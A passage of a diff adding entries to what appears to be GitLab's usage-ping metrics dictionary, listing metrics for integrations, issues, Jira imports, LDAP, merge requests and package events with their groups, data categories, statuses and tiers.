+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175628_instances_asana_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_assembla_active`
+
+Count of active instance-level integrations for Assembla
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175640_instances_assembla_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_bamboo_active`
+
+Count of active instance-level integrations for Bamboo CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175651_instances_bamboo_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_bugzilla_active`
+
+Count of active instance-level integrations for Bugzilla
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175702_instances_bugzilla_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_buildkite_active`
+
+Count of active instance-level integrations for Buildkite
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175714_instances_buildkite_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_campfire_active`
+
+Count of active instance-level integrations for Campfire
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175725_instances_campfire_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_confluence_active`
+
+Count of active instance-level integrations for Confluence
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175736_instances_confluence_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_custom_issue_tracker_active`
+
+Count of active instance-level integrations for a Custom Issue Tracker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175747_instances_custom_issue_tracker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_datadog_active`
+
+Count of active instance-level integrations for Datadog
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182553_instances_datadog_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_discord_active`
+
+Count of active instance-level integrations for Discord
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175758_instances_discord_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_drone_ci_active`
+
+Count of active instance-level integrations for Drone CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175809_instances_drone_ci_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_emails_on_push_active`
+
+Count of active instance-level integrations for Emails on Push
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175820_instances_emails_on_push_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_ewm_active`
+
+Count of active instance-level integrations for EWM
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182620_instances_ewm_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_external_wiki_active`
+
+Count of active instance-level integrations for External Wiki
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175831_instances_external_wiki_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_flowdock_active`
+
+Count of active instance-level integrations for Flowdock
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175842_instances_flowdock_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_github_active`
+
+Count of active instance-level integrations for GitHub
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175853_instances_github_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.instances_hangouts_chat_active`
+
+Count of active instance-level integrations for Hangouts Chat
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175904_instances_hangouts_chat_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_hipchat_active`
+
+Count of active instance-level integrations for HipChat
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175915_instances_hipchat_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_irker_active`
+
+Count of active instance-level integrations for Irker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175926_instances_irker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_jenkins_active`
+
+Count of active instance-level integrations for Jenkins
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175937_instances_jenkins_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_jira_active`
+
+Count of active instance-level integrations for Jira
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175948_instances_jira_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_mattermost_active`
+
+Count of active instance-level integrations for Mattermost
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175959_instances_mattermost_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_mattermost_slash_commands_active`
+
+Count of active instance-level integrations for Mattermost (slash commands)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180010_instances_mattermost_slash_commands_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_microsoft_teams_active`
+
+Count of active instance-level integrations for Microsoft Teams
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180021_instances_microsoft_teams_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_mock_ci_active`
+
+Count of active instance-level integrations for Mock CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182728_instances_mock_ci_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_mock_monitoring_active`
+
+Count of active instance-level integrations for Mock Monitoring
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182739_instances_mock_monitoring_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_packagist_active`
+
+Count of active instance-level integrations for Packagist
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180032_instances_packagist_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_pipelines_email_active`
+
+Count of active instance-level integrations for Pipeline Emails
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180043_instances_pipelines_email_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_pivotaltracker_active`
+
+Count of active instance-level integrations for Pivotal Tracker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180054_instances_pivotaltracker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_prometheus_active`
+
+Count of active instance-level integrations for Prometheus
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180936_instances_prometheus_active.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_pushover_active`
+
+Count of active instance-level integrations for Pushover
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180105_instances_pushover_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_redmine_active`
+
+Count of active instance-level integrations for Redmine
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180116_instances_redmine_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_slack_active`
+
+Count of active instance-level integrations for Slack
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180127_instances_slack_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_slack_slash_commands_active`
+
+Count of active instance-level integrations for Slack (slash commands)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180138_instances_slack_slash_commands_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_teamcity_active`
+
+Count of active instance-level integrations for Teamcity CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180149_instances_teamcity_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_unify_circuit_active`
+
+Count of active instance-level integrations for Unifiy Circuit
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180201_instances_unify_circuit_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_webex_teams_active`
+
+Count of active instance-level integrations for Webex Teams
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180212_instances_webex_teams_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_youtrack_active`
+
+Count of active instance-level integrations for YouTrack
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180223_instances_youtrack_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.issues`
+
+Count of Issues created
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181102_issues.yml)
+
+Group: `group::plan`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.issues_created_from_alerts`
+
+Count of issues created automatically on alerts from GitLab-Managed Prometheus
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180441_issues_created_from_alerts.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.issues_created_from_gitlab_error_tracking_ui`
+
+Count of issues manually created from the GitLab UI on Sentry errors
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180434_issues_created_from_gitlab_error_tracking_ui.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.issues_created_gitlab_alerts`
+
+Count of all issues created from GitLab alerts (bot and non-bot)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180443_issues_created_gitlab_alerts.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.issues_created_manually_from_alerts`
+
+Count of issues created manually by non-bot users from GitLab alerts
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180445_issues_created_manually_from_alerts.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.issues_using_zoom_quick_actions`
+
+Count of issues where a user have added AND removed a zoom meeting using slash commands
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180438_issues_using_zoom_quick_actions.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.issues_with_associated_zoom_link`
+
+Count of issues where a user has linked a Zoom meeting
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180436_issues_with_associated_zoom_link.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.issues_with_embedded_grafana_charts_approx`
+
+Count of issues where a user has embedded a Grafana chart
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180440_issues_with_embedded_grafana_charts_approx.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.issues_with_health_status`
+
+Count of issues with health status
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181210_issues_with_health_status.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `counts.jira_imports_projects_count`
+
+Count of Projects that imported Issues from Jira
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.jira_imports_total_imported_count`
+
+Count of Jira imports completed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181258_jira_imports_total_imported_count.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.jira_imports_total_imported_issues_count`
+
+Count of total issues imported via the Jira Importer
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181301_jira_imports_total_imported_issues_count.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.keys`
+
+Number of keys.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180752_keys.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.kubernetes_agent_gitops_sync`
+
+Count of events when an Agent is asked to synchronize the manifests or its configuration
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175328_kubernetes_agent_gitops_sync.yml)
+
+Group: `group::configure`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.kubernetes_agent_k8s_api_proxy_request`
+
+Count of Kubernetes API proxy requests
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210505015532_kubernetes_agent_k8s_api_proxy_request.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.kubernetes_agents`
+
+Count of Kubernetes registered agents
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175316_kubernetes_agents.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.kubernetes_agents_with_token`
+
+Count of Kubernetes agents with at least one token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175318_kubernetes_agents_with_token.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.label_lists`
+
+Count of label lists created on Boards
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181104_label_lists.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.labels`
+
+Count of Labels
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181111_labels.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ldap_group_links`
+
+Number of groups that are synced via LDAP group sync `https://docs.gitlab.com/ee/user/group/index.html#manage-group-memberships-via-ldap`
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216174822_ldap_group_links.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.ldap_keys`
+
+Number of keys synced as part of LDAP `https://docs.gitlab.com/ee/administration/auth/ldap/#ldap-sync-configuration-settings`
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216174824_ldap_keys.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.ldap_users`
+
+Number of users that are linked to LDAP
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216174826_ldap_users.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.lfs_objects`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181009_lfs_objects.yml)
+
+Group: `group::create`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.license_management_jobs`
+
+Count of License Scanning jobs run
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210204124854_license_management_jobs.yml)
+
+Group: `group::composition analysis`
+
+Data Category: `Subscription`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `counts.licenses_list_views`
+
+Count to License List page views
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210216175210_licenses_list_views.yml)
+
+Group: `group::composition analysis`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `counts.merge_request_comment`
+
+Count of the number of merge request comments
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175041_merge_request_comment.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.merge_request_create`
+
+Count of the number of merge requests created
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175043_merge_request_create.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.merge_requests`
+
+Count of the number of merge requests
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175039_merge_requests.yml)
+
+Group: `group::code review`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.merged_merge_requests_using_approval_rules`
+
+Count of merge requests merged using approval rules
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175206_merged_merge_requests_using_approval_rules.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.milestone_lists`
+
+Count of milestone lists created on Boards
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181106_milestone_lists.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.milestones`
+
+Count of milestones created
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181108_milestones.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.navbar_searches`
+
+Total Searches using the navbar for All Basic Search and Advanced Search in self-managed and SaaS
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180414_navbar_searches.yml)
+
+Group: `group::global search`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.network_policy_drops`
+
+Cumulative count of packets dropped by Cilium (Container Network Security) since Usage Ping was last reported
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175448_network_policy_drops.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.network_policy_forwards`
+
+Cumulative count of packets forwarded by Cilium (Container Network Security) since Usage Ping was last reported
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175446_network_policy_forwards.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.notes`
+
+Count of Notes across all objects that use them
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181113_notes.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.operations_dashboard_default_dashboard`
+
+Active users with enabled operations dashboard
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180942_operations_dashboard_default_dashboard.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.operations_dashboard_users_with_projects_added`
+
+Active users with projects on operations dashboard
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180944_operations_dashboard_users_with_projects_added.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_composer_delete_package`
+
+A count of Composer packages that have been deleted
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182855_package_events_i_package_composer_delete_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_composer_pull_package`
+
+A count of Composer packages that have been downloaded
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182857_package_events_i_package_composer_pull_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_composer_push_package`
+
+A count of Composer packages that have been published
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182859_package_events_i_package_composer_push_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_conan_delete_package`
+
+A count of Conan packages that have been deleted
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182901_package_events_i_package_conan_delete_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_conan_pull_package`
+
+A count of Conan packages that have been downloaded
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182903_package_events_i_package_conan_pull_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_conan_push_package`
+
+A count of Conan packages that have been published
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182905_package_events_i_package_conan_push_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_container_delete_package`
+
+A count of container images that have been deleted
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182907_package_events_i_package_container_delete_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_container_pull_package`
+
+A count of container images that have been downloaded
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182909_package_events_i_package_container_pull_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_container_push_package`
+
+A count of container images that have been published
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182911_package_events_i_package_container_push_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_debian_delete_package`
+
+A count of Debian packages that have been deleted
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182913_package_events_i_package_debian_delete_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_debian_pull_package`
+
+A count of Debian packages that have been downloaded
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182915_package_events_i_package_debian_pull_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
